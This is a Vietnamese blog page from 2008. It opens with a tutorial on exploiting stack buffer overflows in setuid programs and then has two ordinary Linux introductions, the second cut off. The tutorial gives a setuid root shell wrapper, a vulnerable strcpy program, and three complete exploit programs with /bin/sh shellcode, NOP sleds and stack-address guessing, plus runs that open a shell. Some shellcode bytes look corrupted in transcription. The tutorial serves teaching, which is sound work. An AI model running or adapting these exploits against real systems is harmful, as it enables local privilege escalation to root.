Khai thác lỗi tràn bộ đệm. Thứ Tư, Tháng 4 2 2008 

1. Quyền root và chương trình setuid/setgid

Trên các hệ điều hành đa người dùng nói chung và UNIX nói riêng, thiết kế truyền thống cho phép user root (superuser) có quyền tối cao có thể thực hiện mọi thao tác trên hệ thống. Hơn nữa, có một số thao tác đòi hỏi buộc phải có quyền root mới có thể thực hiện được, ví dụ thay đổi mật khẩu (phải cập nhật file /etc/passwd). Để người dùng bình thường có thể thực hiện được các thao tác này, hệ thống UNIX cung cấp một cơ chế thiết lập quyền thực tế của tiến trình đang thực thi thông qua các hàm thiết lập quyền như setuid()/setgid(), seteuid()/setegid(), setruid()/setrgid(). Quyền thực tế sẽ được hệ thống tự động thiết lập thông qua bit thuộc tính suid/sgid của file chương trình. Ví dụ chương trình passwd được suid root:

-r-s–x–x 1 root root 12244 Feb 8 2000 /usr/bin/passwd

Khi user bình thường thực thi chương trình, quyền thực tế có được sẽ là quyền của người sở hữu (owner) file, ở đây là root. Do yêu cầu sử dụng, trên hệ thống UNIX thường có nhiều file chương trình được thiết lập thuộc tính suid (cho owner, group). Ví dụ sau sẽ minh hoạ rõ hơn điều này:

/* suidsh.c */
void main() {
setuid(0);
system(”/bin/sh”);
}

[SkZ0@gamma bof]$ gcc -o suidsh suidsh.c
[SkZ0@gamma bof]$ su
Password:
# chown root.root suidsh
# chmod 4755 suidsh
# exit
[SkZ0@gamma bof]$ ls -l suidsh
-rwsr-xr-x 1 root root 13637 Mar 26 15:54 suidsh
[SkZ0@gamma bof]$ id
uid=501(SkZ0) gid=501(SkZ0) groups=501(SkZ0)
[SkZ0@gamma bof]$ ./suidsh
bash# id
uid=0(root) gid=501(SkZ0) groups=501(SkZ0)

Có thể thấy, nếu chương trình suid/sgid bị lỗi bảo mật, hacker sẽ tận dụng điều này để điều khiển chương trình thực hiện mã lệnh bất kỳ trên hệ thống với quyền cao hơn và thậm chí với quyền cao nhất root. Đó chính là mục đích của việc khai thác các lỗ hổng bảo mật trên máy tại chỗ (local).

2. Chương trình bị tràn bộ đệm
Để minh hoạ cách tổ chức và chèn shellcode vào chương trình bị lỗi, ta sẽ sửa lại một chút chương trình vuln.c đã ví dụ ở phần 1:

/* vuln1.c */
int main(int argc, char **argv)
{
char buf[500];
if (argc>1) {
strcpy(buf, argv[1]);
printf(”%s\n”, buf);
}
}

Kích thước của bộ đệm buf là 500 byte. Từ những trình bày ở phần trước, để khai thác lỗi tràn bộ đệm trong chương trình vuln1.c chúng ta chỉ cần ghi đè giá trị của “con trỏ lệnh bảo lưu” (saved instruction pointer) được lưu trên stack bằng địa chỉ mã lệnh mong muốn, ở đây chính là địa chỉ bắt đầu của shellcode. Như vậy chúng ta cần phải sắp xếp shellcode ở đâu đó trên bộ nhớ stack và xác định địa chỉ bắt đầu của nó.

3. Tổ chức shellcode trên bộ nhớ
Vấn đề của việc tổ chức shellcode trên bộ nhớ là làm thế nào để chương trình khai thác lỗi có thể xác định được địa chỉ bắt đầu của bộ đệm chứa shellcode bên trong chương trình bị lỗi. Thông thường, ta không thể biết một cách chính xác địa chỉ của bộ đệm trong chương trình bị lỗi (phụ thuộc vào biến môi trường, tham số khi thực thi), do đó ta sẽ xác định một cách gần đúng. Điều này có nghĩa chúng ta phải tổ chức bộ đệm chứa shellcode sao cho khi bắt đầu ở một địa chỉ có thể lệch so với địa chỉ chính xác mà shellcode vẫn thực thi không hề bị ảnh hưởng. Lệnh máy NOP (No OPeration) giúp ta đạt được điều này. Khi gặp một lệnh NOP, CPU sẽ không làm gì cả ngoài việc tăng con trỏ lệnh đến lệnh kế tiếp.

Như vậy, chúng ta sẽ lấp đầy phần đầu của bộ đệm bằng các lệnh NOP, kế đó là shellcode. Hơn nữa, để không phải tính toán chính xác vị trí lưu con trỏ lệnh bảo lưu trên stack, chúng ta sẽ chỉ đặt shellcode ở khoảng giữa của bộ đệm, phần còn lại sẽ chứa toàn các giá trị địa chỉ bắt đầu của shellcode. Cuối cùng, bộ đệm chứa shellcode sẽ có dạng:

Hình 1: Tổ chức shellcode trên bộ nhớ

Hình sau mô tả trạng thái của stack trước và sau khi tràn bộ đệm xảy ra.

Hình 2: Trạng thái stack trước và sau khi tràn bộ đệm
Before After

Có một vấn đề cũng cấn lưu ý ở đây là sự sắp xếp (alignment) biến trên stack. Giá trị địa chỉ có độ dài 4 byte (32 bit), vì vậy khi được sắp vào stack không phải lúc nào cũng chính xác như mong muốn. Ở phần trước chúng ta đã biết stack sử dụng đơn vị là word có độ dài 4 byte, do đó độ lệch do sắp không đúng sẽ là 1, 2 hoặc 3 byte.

Hình 3: Các khả năng sắp xếp biến trên stack

Chỉ có một trường hợp sắp xếp đúng sẽ làm việc, các trường hợp khác sẽ dẫn đến báo lỗi “segmentation violation” hoặc “illegal instruction”, tuy nhiên chúng ta có thể sử dụng phương pháp “thử và sai” để tìm được sự sắp xếp đúng trong bộ nhớ không mấy khó khăn.

4. Xác định địa chỉ shellcode
Vấn đề quan trọng nhất là làm thế nào để “đoán trước” được địa chỉ bắt đầu của bộ đệm chứa shellcode bên trong chương trình bị lỗi. Nhờ cách tổ chức shellcode với các NOP ở trên, địa chỉ này chỉ cần gần đúng sao cho rơi vào khoảng giữa các lệnh NOP trên bộ đệm shellcode.

Một điểm đặc biệt là mọi chương trình khi thực thi đều có địa chỉ bắt đầu stack như nhau (lưu ý: trên không gian địa chỉ ảo. Ví dụ: giá trị này trên Linux là 0xbfffffff, trên FreeBSD là 0xbfbfffff) và thường các chương trình ít khi push vào stack ngay một lúc vài ngàn byte. Do đó, ta có thể đoán được địa chỉ bắt đầu của bộ đệm chứa shellcode trên stack trong chương trình bị lỗi dựa vào độ lệch so với địa chỉ đỉnh stack hiện tại của chương trình khai thác lỗi. Độ lệch này có thể mang giá trị âm hoặc giá trị dương (xem lại phần 1).

Đoạn chương trình sau sẽ in ra giá trị của con trỏ stack SP:

/* sp.c */
unsigned long get_sp(void) {
__asm__(”movl %esp,%eax”);
}

void main() {
printf(”0x%x\n”, get_sp());
}

[SkZ0@gamma bof]$ gcc -o sp sp.c
[SkZ0@gamma bof]$ ./sp
0xbffffa50
[SkZ0@gamma bof]$

Địa chỉ gần đúng của bộ đệm chứa shellcode sẽ được xác định theo công thức:

SP +(-) OFFSET

5. Viết chương trình khai thác lỗi tràn bộ đệm
Chúng ta đã biết những gì cần thiết để khai thác lỗi tràn bộ đệm, bây giờ cần phải kết hợp lại. Các bước cơ bản của kỹ thuật tràn bộ đệm là: chuẩn bị bộ đệm dùng để làm tràn (như ở phần trên), xác định địa chỉ trả về (RET) và độ lệch do sắp biến, xác định địa chỉ của bộ đệm chứa shellcode, cuối cùng gọi thực thi chương trình bị tràn bộ đệm.

Có một số cách để tổ chức shellcode trên bộ nhớ và truyền cho chương trình bị lỗi, trước tiên chúng ta sẽ xem xét phương pháp cơ bản nhất: shellcode được truyền thông qua bộ đệm của chương trình bị lỗi. Phương pháp này không phải là cách dễ dàng nhất để khai thác lỗi tràn bộ đệm trên máy tại chỗ (local) nhưng đây là cách tổng quát nhất để khai thác lỗi tràn bộ đệm tại chỗ cũng như từ xa.

Xem trong ví dụ trên, shellcode sẽ được tổ chức và truyền qua bộ đệm buf của chương trình vuln1.c

5.1. Truyền shellcode qua bộ đệm
Chương trình khai thác lỗi tràn bộ đệm sau của chúng ta sẽ nhận 3 giá trị tham số: tên chương trình bị lỗi, kích thước bộ đệm dùng để làm tràn và giá trị độ dời so với con trỏ stack hiện tại (ví trị dự đoán của bộ đệm chứa shellcode).

/* exploit1.c */
#include

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0×90 // mã asm của lệnh NOP

char shellcode[] =
“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\ x6e\x89\xe3\x50″
“\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\x c0\x40\xcd\x80″;

unsigned long get_sp(void) {
__asm__(”movl %esp,%eax”);
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

if (argc < 2) {
printf(”Usage: %s target [bsize offset]\n”, argv[0]);
exit(0);
}

if (argc > 2) bsize = atoi(argv[2]);
if (argc > 3) offset = atoi(argv[3]);

if (!(buff = malloc(bsize))) {
printf(”Can’t allocate memory.\n”);
exit(0);
}

addr = get_sp() – offset;
printf(”Using address: 0x%x\n”, addr);

ptr = buff;
/* lấp đầy bộ đệm làm tràn với các địa chỉ của shellcode */
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

/* lấp đầy nửa đầu vói các lệnh NOP */
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;

/* tiếp theo là shellcode */
ptr = buff + ((bsize/2) – (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = ‘<!–POST BOX–>’;

execl(argv[1],argv[1],buff,NULL);
}

Chương trình trên cấp phát bộ đệm dùng để làm tràn trên heap, lý do tại sao xin dành cho người đọc tự trả lời.

Kích thước của bộ đệm dùng làm tràn lớn hơn so với bộ đệm bị tràn khoảng 100 byte là tốt nhất. Khi đó bộ đệm làm tràn có phần đầu khá lớn chứa các NOP, phần cuối chứa shellcode và địa chỉ đủ để làm tràn và ghi đè lên giá trị địa chỉ trả về (RET).

Hãy thử chương trình khai thác lỗi vừa viết.

[SkZ0@gamma bof]$ ./exploit1 ./vuln1 600
Using address: 0xbffffa1c

( … )

bash$

Thử với giá trị độ dời:

[SkZ0@gamma bof]$ ./exploit1 ./vuln1 600 100
Using address: 0xbffff9a8

( … )

[SkZ0@gamma bof]$ ./exploit1 ./vuln1 600 -100
Using address: 0xbffffa70

( … )

bash$

5.2. Truyền shellcode qua biến môi trường
Bây giờ, hãy quay trở lại với ví dụ đầu tiên, chương trình vuln.c (xem phần 1). Có thể thấy chương trình exploit1.c không thể khai thác được lỗi tràn bộ đệm trong vuln.c do kích thước bộ đệm bị tràn quá nhỏ (16 byte) không đủ để đặt vừa shellcode. Khi đó địa chỉ trả về sẽ bị ghi đè bởi các mã lệnh thay vì giá trị địa chỉ cần nhảy đến. Để vượt qua trở ngại này, chúng ta sẽ dùng một “bộ đệm” khác để lưu trữ shellcode. Thông thường có thể dùng biến môi trường (environment) hoặc một tham số dòng lệnh chương trình (argument) để chứa shellcode do các biến này đều được cấp trên stack, tuy nhiên sử dụng biến môi trường là phương pháp đơn giản và hiệu quả hơn. Với shellcode được chứa trong biến môi trường, bộ đệm dùng để làm tràn chỉ đơn giản chứa toàn giá trị địa chỉ (phỏng đoán) của biến môi trường chứa shellcode.

Chương trình exploit1.c được sửa lại như sau (có thêm một tham số là kích thước của bộ đệm chứa shellcode).

/* exploit2.c */
#include

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0×90 // mã asm của lệnh NOP

char shellcode[] =
“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\ x6e\x89\xe3\x50″
“\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\x c0\x40\xcd\x80″;

unsigned long get_esp(void) {
__asm__(”movl %esp,%eax”);
}

void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;

if (argc < 2) {
printf(”Usage: %s target [bsize offset eggsize]\n”, argv[0]);
exit(0);
}

if (argc > 2) bsize = atoi(argv[2]);
if (argc > 3) offset = atoi(argv[3]);
if (argc > 4) eggsize = atoi(argv[4]);

if (!(buff = malloc(bsize))) {
printf(”Can’t allocate memory.\n”);
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf(”Can’t allocate memory.\n”);
exit(0);
}

addr = get_esp() – offset;
printf(”Using address: 0x%x\n”, addr);

/* bộ đệm làm tràn chỉ chứa toàn địa chỉ shellcode */
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

/* NOP+shellcode được đặt trong biến môi trường */
ptr = egg;
for (i = 0; i < eggsize – strlen(shellcode) – 1; i++)
*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = ‘<!–POST BOX–>’;
egg[eggsize - 1] = ‘<!–POST BOX–>’;

setenv(”EGG”, egg, 1);
execl(argv[1],argv[1],buff,NULL);
}

Hãy thử chương trình khai thác lỗi mới:

[SkZ0@gamma bof]$ ./exploit2 ./vuln
Using address: 0xbffffa18

( … )

bash$

Có thể thấy cách sử dụng biến môi trường khá hiệu quả. Phương pháp sau (chỉ áp dụng cho Linux x86) cũng sử dụng biến môi trường để chứa shellcode nhưng xác định được chính xác địa chỉ của biến môi trường này. Do đó, ta không cần phải lấp đầy các NOP vào đầu bộ đệm chứa shellcode, cũng như địa chỉ shellcode được xác định chính xác thay vì phải phỏng đoán.

Phần địa chỉ cao nhất (tương đương phần đáy của stack) của một file chương trình ELF, Linux x86 có dạng:

Hình 4: Cấu trúc đáy stack của Linux x86

Ta thấy, địa chỉ biến môi trường cuối cùng được tính theo công thức sau:

envpn = 0xBFFFFFFF -
4 – // 4 NULL bytes
strlen(program_name) – // chiều dài chuỗi tên chương trình
1 – // giá trị null của chuỗi tên chương trình
strlen(envp[n])) // độ dài của biến môi trường cuối cùng

hay rút gọn:
envpn = 0xBFFFFFFA – strlen(prog_name) – strlen(envp[n])

Các hàm gọi thực thi chương trình như execle, execve cho phép truyền con trỏ biến môi trường cho chương trình được gọi. Tận dụng điều này chúng ta có thể truyền trực tiếp bộ đệm chứa shellcode cho chương trình bị lỗi thông qua con trỏ biến môi trường, và tính được chính xác địa chỉ của nó.

Công thức để tính đia chỉ của shellcode:

addr = 0xBFFFFFFA – strlen(prog_name) – strlen(shellcode);

Chương trình khai thác lỗi mới được viết như sau:

/* exploit3.c */
#include

#define DEFAULT_BUFFER_SIZE 512
#define NOP 0×90 // mã asm của lệnh NOP

char shellcode[] =
“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\ x6e\x89\xe3\x50″
“\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\x c0\x40\xcd\x80″;

void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int bsize=DEFAULT_BUFFER_SIZE;
int i;

char *env[2] = {shellcode, NULL};

if (argc < 2) {
printf(”Usage: %s target [bsize]\n”, argv[0]);
exit(0);
}

if (argc > 2) bsize = atoi(argv[2]);

if (!(buff = malloc(bsize))) {
printf(”Can’t allocate memory.\n”);
exit(0);
}

addr = 0xbffffffa – strlen(shellcode) – strlen(argv[1]);
printf(”Using address: 0x%x\n”, addr);

/* bộ đệm làm tràn chỉ chứa toàn địa chỉ shellcode */
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
buff[bsize - 1] = ‘<!–POST BOX–>’;

execle(argv[1],argv[1],buff,NULL,env);
}

Trong chương trình trên, chúng ta đã truyền cho chương trình bị lỗi con trỏ biến môi trường chỉ với một biến duy nhất là bộ đệm chứa shellcode, do đó độ dài của biến môi trường chính là độ dài của shellcode. Thử chương trình khai thác lỗi mới này:

[SkZ0@gamma bof]$ ./exploit3 ./vuln
Using address: 0xbfffffd4

( … )

bash$

6. Kết luận
Hy vọng những gì đã trình bày có thể giúp các bạn hiểu được nguyên nhân và hậu quả dẫn đến của lỗi tràn bộ đệm. Kỹ thuật khai thác lỗi tràn bộ đệm là hoàn toàn không khó khi đã có cơ sở lý thuyết hết sức rõ ràng, mặc dù nó đòi hỏi phải có hiểu biết chút ít về ngôn ngữ lập trình. Việc tránh lỗi bộ đệm xảy ra cũng có thể đạt được không mấy khó khăn, đó là thực hiện nguyên tắc: tạo các chương trình an toàn ngay từ khi thiết kế.

Tài liệu tham khảo
Smashing The Stack For Fun And Profit – Aleph1
Avoiding security holes when developing an application – Frédéric Raynal, Christophe Blaess, Christophe Grenier
BUFFER OVERFLOWS DEMYSTIFIED – Murat Balaban
Writing buffer overflow exploits – a tutorial for beginners – Mixter

Liên kết
http://www.phrack.org/
http://community.core-sdi.com/~juliano

10 điều cần biết về Linux Thứ Tư, Tháng 4 2 2008 

Hiện nay, Windows vẫn là hệ điều hành được sử dụng rộng rãi, đặc biệt là ở Việt Nam. Tuy nhiên, xu hướng sử dụng Linux cũng đang trở nên phổ biến mà nếu là một “IT Pro” thì chắc hẳn bạn cũng đã từng cài đặt và sử dụng Linux.
Trong bài viết này, VietNamNet cung cấp 10 điều cần biết căn bản về Linux giúp bạn làm quen với hệ điều hành đầy hứa hẹn này.

1. Cấu trúc thư mục

Cấu trúc thư mục không giống như trong Windows và các hệ điều hành khác, hệ thống tập tin trong Linux là một cây rất lớn (big tree). Thư mục Root ( / ) là thư mục gốc, các tập tin và các ổ đĩa khác chỉ là nhánh của Root.

Ví dụ: nếu bạn có 2 đĩa cứng a và b, một đĩa mềm và một ổ CD-ROM. Hãy giả sử rằng ổ đĩa thứ nhất có 2 phân vùng (partition) là a1 và a2, ổ đĩa thứ 2 chỉ có một phân vùng là b.

Trong Windows
ổ cứng a, phân vùng a1 (hda1): ổ đĩa C
ổ cứng a, phân vùng a2 (hda2): ổ đĩa D
ổ cứng b, một phân vùng b1 (hdb1): ổ đĩa E
ổ đĩa mềm: ổ A
ổ đĩa CD-ROM: ổ F

Ngược lại, trong Linux, mỗi ổ đĩa sẽ được gắn kết (mount) vào trong cây thư mục (Tree Directory) giống như là một thư mục bình thường:
hda1: / (Root)
hda2: /home
hdb1: /home/user/music
ổ đĩa mềm: /mnt/floppy
ổ CD-ROM: /mnt/cdrom

So sánh cấu trúc hệ thống tập tin giữa Linux và Windows

2. Hệ thống theo modul

Trong Windows 98/2000/XP hay Mac OS X… mỗi hệ điều hành đều có một giao diện đồ hoạ GUI không giống nhau.Trong Linux, mỗi modul trong hệ thống là hoàn toàn độc lập với nhau, vì vậy người sử dụng có thể trộn lẫn và tự tạo ra hệ điều hành cho riêng mình.

Không giống như hệ điều hành Windows của Microsoft, mọi thành phần đều kết nối và phụ thuộc lẫn nhau. Ngược lại, Linux lại cung cấp khả năng các chương trình làm việc độc lập với nhau, nếu chương trình này được gỡ bỏ thì các chương trình khác vẫn hoạt động tốt mà không gây ảnh hưởng gì. Chính vì khả năng phân chia modul như vậy mà HĐH Linux được phân phối bởi những người sử dụng hay các công ty lớn như RedHat, Xandros, Simply MEPIS và Suse… đều có thể tương thích với nhau.

Trong Linux, các chương trình cũng có thể thay đổi lẫn nhau, mà giao diện đồ hoạ GUI cũng không phải là ngoại lệ. Muốn có giao diện giống với Windows XP? Hãy sử dụng FVWM với theme XP. Muốn nhanh hơn? Hãy dùng IceWM. Muốn có đầy đủ tính năng? GNOME hoặc KDE sẽ là thích hợp nhất. Tất cả những gói phần mềm về giao diện GUI đều có những thuận lợi và yếu điểm riêng, nhưng chúng cũng đều hỗ trợ người dùng tương tác tốt với chuột.

3. Hỗ trợ phần cứng, phần mềm

Phần cứng, phần mềm và mọi thứ trong Linux cũng mới chỉ xuất hiện trong vài năm gần đây. Với thời gian chỉ bằng một nửa so với Windows, nhưng các phần mềm cho Linux mạnh mẽ hơn, ổn định hơn, “ngốn” ít tài nguyên hơn, và chi phí thì rẻ hơn so với nền tảng Windows.

Hỗ trợ phần mềm

Tuy nhiên, điều mà Linux cần phải quan tâm là hiện nay chưa có nhiều nhà cung cấp phần mềm hỗ trợ Linux. Ví dụ nếu muốn sử dụng QuickBook của Intuit trên Linux, thì không thể. Mặc dù, cũng có nhiều dự án cho phép các ứng dụng Windows có thể chạy trên Linux, như CrossOver Office (cho phép chạy Office trên Linux) và Wine (giả lập môi trường Windows và các ứng dụng Windows có thể chạy trên Linux). Nhưng các phần mềm này không thể chạy tốt và ổn định như trong môi trường thực của nó, người sử dụng cần phải chờ đợi khi các hãng cung cấp phần mềm chính thức chuyển sang Linux thì mới có thể sử dụng tốt được.

Hiện nay, cộng đồng mã nguồn mở đưa ra danh sách 15 000 chương trình hoạt động tốt trên Linux. Các phần mềm này đều miễn phí, chất lượng thì có thể khác nhau, nhưng hầu hết các chương trình đều viết rất tuyệt vời và có sự cải tiến đáng chú ý. Những phần mềm này có thể nhập và xuất các tập tin từ các định dạng của những phần mềm quen thuộc. Chẳng hạn, GNUCash có thể đọc các định dạng của QuickBook rất tốt, và OpenOffice.org có thể đọc tốt các định dạng tài liệu của bộ Micrsoft Office…

Hỗ trợ phần cứng

Để cài đặt phần cứng trên các máy tính Apple không đơn giản như trên Windows, và điều này cũng tương tự với Linux. Hầu hết các phần cứng ổ cứng, RAM, USB Flash, bo mạch chủ, card mạng và máy ảnh số đều làm việc tốt, nhưng một số phần cứng mới hoặc không được hỗ trợ thì rất khó cài đặt.

Các trình điều khiển làm việc với phần cứng được viết cho Linux đều phải được cung cấp miễn phí cho các cộng đồng người sử dụng Linux, mà điều này các hãng sản xuất phần cứng không muốn. Do đó, có thể đây là một điểm yếu so với Windows bởi các công ty phần cứng có thể làm việc trực tiếp với Microsoft về tính tương thích, và có xu hướng để Linux tự tìm cách hỗ trợ các thiết bị đó bởi họ muốn giữ bản quyền về công nghệ của riêng mình. Một thông tin tốt là các nhà cung cấp phần cứng cho Linux cũng như phần mềm đều đang có chuyển biến tích cực và nhiều công ty cũng đang dần hỗ trợ Linux.

Kết hợp giữa phần cứng, phần mềm trong các máy tính Linux là nhân hệ điều hành (kernel). Nhân hệ điều hành (HĐH) kết nối phần cứng và phần mềm, và những cập nhật mới nhất đều có sẵn trên Internet. Nếu đang sử dụng phần cứng mới và nhân HĐH cũ chưa hỗ trợ , hãy sử dụng phiên bản mới, đây cũng là một giải pháp sẽ giúp bạn vượt qua khó khăn. Để cài đặt nhân HĐH mới cũng không phải là quá phức tạp, tuy nhiên sử dụng trình quản lý các gói cài đặt sẽ đem lại sự đơn giản hơn.

4. Trình quản lý gói cài đặt

Thực ra có rất nhiều cách để cài đặt các chương trình Linux, nhưng cách dễ nhất là sử dụng trình quản lý cài đặt PM (Package Manager). PM đảm bảo chắc chắn rằng những tập tin bị mất đều được cài đặt lại và chương trình có thể chạy hoàn toàn chính xác, đúng yêu cầu.

Các hãng cung cấp Linux thường sử dụng các kho dữ liệu trực tuyến để lưu trữ các chương trình. Cài đặt các ứng dụng cũng dễ dàng, chỉ cần tìm kiếm các chương trình trong kho dữ liệu và nhấn chuột vào Install là xong. Không thể tìm IceWM hoặc MPlayer trong danh sách cài đặt? Cũng có những cách khác để cài đặt một khi dữ liệu cho những chương trình mà bạn không tìm thấy, hãy truy cập vào các kho dữ liệu trực tuyến như Synaptic cho Debian, Yum cho RedHat, YaST2 cho SuSE và Emerge cho Gentoo.

5. Quyền truy cập (Permission)

Linux được thiết kế cho nhiều người sử dụng, những người sử dụng này lại được chia thành nhiều nhóm. Mỗi người sử dụng đều có quyền đọc (Read), ghi (Write), hoạc thực thi (Execute) cho những tập tin của riêng họ, và quyền hạn để chuyển đổi quyền truy cập. Bởi Linux được thiết kế cho nhiều người sử dụng, mỗi người sử dụng đều có mật khẩu riêng, và giới hạn quyền truy cập của người sử dụng (User Permissions).
Một người dùng thuộc về một nhóm hoặc nhiều nhóm khác nhau, và mỗi người sử dụng có thể đặt quyền truy cập các tập tin/thư mục của họ có quyền đọc nhưng không thể ghi, hoặc kết hợp các R/W/X…

Người dùng quản trị root, cũng giống như Administrator trong Windows, có quyền truy cập vào tất cả những tập tin và chỉ những người sử dụng có quyền hạn mới được phép thay đổi những thiết lập hệ thống. Điều này giúp những người sử dụng thông thường không thể cài đặt những phần mềm gián điệp vào hệ thống và xoá những tập tin quan trọng.

6. Thư mục người dùng

Trong Windows có My Documents, nhưng bạn thường “quăng” những tài liệu ở chỗ nào? Rất nhiều người sử dụng lưu chúng ngay trên Desktop của Windows. Linux cũng có thể làm như vậy, nhưng mỗi người sử dụng đều cho một thư người dùng riêng, thường đặt tại /home/user. Trong thư mục người dùng bạn có thể lưu các tài liệu trong thư mục Documents (/home/user/documents), các liên kết tới chương trình, âm nhạc (/home/user/Music), hoặc bất cứ những gì nếu muốn. Bạn có thể tạo các tập tin hoặc các thư mục ở đó, tổ chức chúng theo cách mà mình thích.

7. Cài đặt mặc định

Sự khác biệt giữa các bản Linux từ các hãng phân phối như: các tập tin cũng được lưu vào các đường dẫn khác nhau và các ứng dụng cài đặt cho mỗi bản Linux cũng khác nhau… Nếu so sách các tập tin hệ thống giữa Redhat và SuSE cũng có sự khác biệt rất lớn. Hầu hết người sử dụng đều không cần phải biết nhiều tới sự khác biệt này, nhưng những nhà sản xuất phần mềm cần phải nhận biết rõ điều này. Vì vậy, khi nhờ sự giúp đỡ, hãy cho người khác biết rõ bạn đang sử dụng Linux từ nhà cung cấp nào. Nếu gặp không phải những rắc rối, và không quan tâm về sự khác biệt giữa những cài đặt mặc định này, bạn cứ yên tâm sử dụng, đó là cách tốt nhất để tránh “nhức đầu”.

8 Giao diện dòng lệnh

Giao diện dòng lệnh trong Linux CLI (Command Line Interface), cũng giống như DOS của Windows. Nhưng khả năng của CLI lại mạnh mẽ và rất hữu ích khi giải quyết những sự cố máy tính. Nếu cần trợ giúp từ Internet hoặc hỏi ai đó, bạn có thể sử dụng giao diện dòng lênh để giúp bạn mà không cần phải nạp các trình quản lý GUI.

9.Tổ hợp Ctrl-Alt-Escape

Nhấn tổ hợp phím Ctrl-Alt-Escape, biểu tượng con trỏ chuột sẽ thay đổi hình dáng thành biểu tượng X, hoặc một biểu tượng nào đó. Trong chế độ này, chỉ cần nhấn vào cửa sổ chương trình bị lỗi hoặc treo, lập tức ứng dụng đó sẽ bị “giết”. Tổ hợp phím này cũng tương tự như khi sử dụng Task Manager trong Windows. Khi đổi ý, bạn chỉ cần nhấn Esc để thoát khỏi chế độ này. Cũng giống sử dụng Task Manager của Windows, khi sử dụng sai, rất có thể những lỗi nghiêm trọng sẽ xảy ra và khởi động lại máy là không thể tránh khỏi.

10. Internet là người bạn thân

Sử dụng Linux cũng không hề đơn giản. Tuy nhiên, “không biết thì phải hỏi”, rất nhiều câu hỏi được đưa ra trên các diễn đàn (Forum) về cách sử dụng Linux, và những câu trả lời, những mánh lới… đều có sẵn cho bạn. Một địa chỉ hấp dân mà bạn hãy ghé qua như: www.LinuxQuestions.org là một trang Web lớn cung cấp cho bạn một kho dữ liệu vô giá về Linux.

Lưu ý, trước khi đưa bất cứ một câu hỏi nào lên trang Web này hãy tìm kiếm các câu hỏi trong trang Web bởi rất có thể sẽ không phải đợi lâu, câu trả lời đã có sẵn ở đâu đó. Bạn cũng nên đọc qua những câu hỏi về một vấn đề hoặc một giải pháp khác nào đó, rất có thể chúng sẽ giúp ích cho vấn đề mà bạn đang gặp phải.

Cài đặt các ứng dụng từ mã nguồn trên Linux Thứ Tư, Tháng 4 2 2008 

Có nhiều bạn khi lần đầu tiên đến với Linux cảm giác sự khó khăn và bất tiện của việc cài đặt các ứng dụng trên Linux, đặc biệt là các ứng dụng phải cài đặt từ mã nguồn như xine, openGL…

Trên Windows, bạn chỉ cần tải ứng dụng về, giải nén rồi click vào file setup là hoàn tất việc cài đặt, nhưng trên Linux đó là một chuyện hoàn toàn khác. Bài viết này sẽ nhằm mục đích hướng dẫn bạn các thao tác cài đặt các phần mềm ứng dụng trên Linux và cung cấp các kiến thức căn bản giúp bạn có thể quản lý hệ thống của riêng mình.

Bài viết sẽ giả sử rằng bạn đã biết cách sử dụng một số phần mềm quản lý gói như rpm. Để dễ dàng thì bài viết sẽ gọi các phần mềm trên Linux là các gói (package). Thực tế tên gọi ‘gói’ đúng đắn hơn vì các gói trên Linux có thể không phải là một trình ứng dụng nào đó mà chỉ là các thư viện nền như thư viện đồ họa Gtk+ hoặc OpenGL…

1. Giới thiệu

Bạn có thể sẽ tự hỏi rằng tại sao các phần mềm trên Linux không tự đóng gói sẵn cho chúng ta rồi khi xuất bạn chỉ cần tải về và cài đặt nó. Câu trả lời nằm ở 2 vấn đề, vấn đề thứ 1 là các phần mềm viết trên Linux không hẳn chỉ có thể chạy trên Linux mà có thể chạy trên nhìều hệ thống khác nhau trong họ Unix như Solaris, AIX, HP-UX… thậm chí các phần mềm đó có thể chạy trên rất nhiều vi xử lý khác nhau như Intel, Motorola, PPC… Có được sự đa năng đó là nhờ vào tính đa nền (portable) của ngôn ngữ C/C++ nhưng đòi hỏi chúng ta phải biên dịch lại phần mềm từ mã nguồn cho hệ thống mà chúng vận hành. Bạn sẽ tự hỏi là tại sao các nhà phát triển lại không biên dịch sẵn cho chúng ta trên hệ thống thông dụng nào đó như Linux chẳng hạn.

